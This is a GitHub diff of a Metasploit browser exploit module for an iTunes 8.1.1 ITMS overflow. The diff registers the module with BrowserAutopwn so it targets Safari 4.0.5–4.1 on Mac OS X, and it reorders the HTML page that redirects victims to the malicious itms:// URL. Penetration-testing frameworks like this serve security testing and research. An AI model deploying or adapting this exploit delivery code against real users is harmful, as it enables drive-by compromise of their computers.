File tree Expand file tree Collapse file tree 1 file changed +13
-2
lines changed
modules/exploits/multi/browser Expand file tree Collapse file tree 1 file changed +13
-2
lines changed Original file line number Diff line number Diff line change @@ -13,6 +13,17 @@ class Metasploit3 < Msf::Exploit::Remote
13
13
14
14
include Msf ::Exploit ::Remote ::HttpServer ::HTML
15
15
16
+ # no popup required to visit itms:// URLs in Safari, so throw it in BAP
17
+ include Msf ::Exploit ::Remote ::BrowserAutopwn
18
+ autopwn_info ( {
19
+ :ua_name => HttpClients ::SAFARI ,
20
+ :ua_maxver => "4.1" ,
21
+ :ua_minver => "4.0.5" ,
22
+ :javascript => false ,
23
+ :rank => NormalRanking ,
24
+ :os_name => OperatingSystems ::MAC_OSX
25
+ } )
26
+
16
27
def initialize ( info = { } )
17
28
super ( update_info ( info ,
18
29
'Name' => 'Apple OS X iTunes 8.1.1 ITMS Overflow' ,
@@ -93,9 +104,9 @@ def generate_itms_page(p)
93
104
return String ( <<-EOS )
94
105
<html><head><title>iTunes loading . . .</title></head>
95
106
<body>
96
- <script>document.location.assign("#{ itms_base_url } ");</script>
97
107
<p>iTunes should open automatically, but if it doesn't, click to
98
- <a href="#{ itms_base_url } ">continue</a>.</p>a
108
+ <a href="#{ itms_base_url } ">continue</a>.</p>
109
+ <script>document.location.assign("#{ itms_base_url } ");</script>
99
110
</body>
100
111
</html>
101
112
EOS
You can’t perform that action at this time.
0 commit comments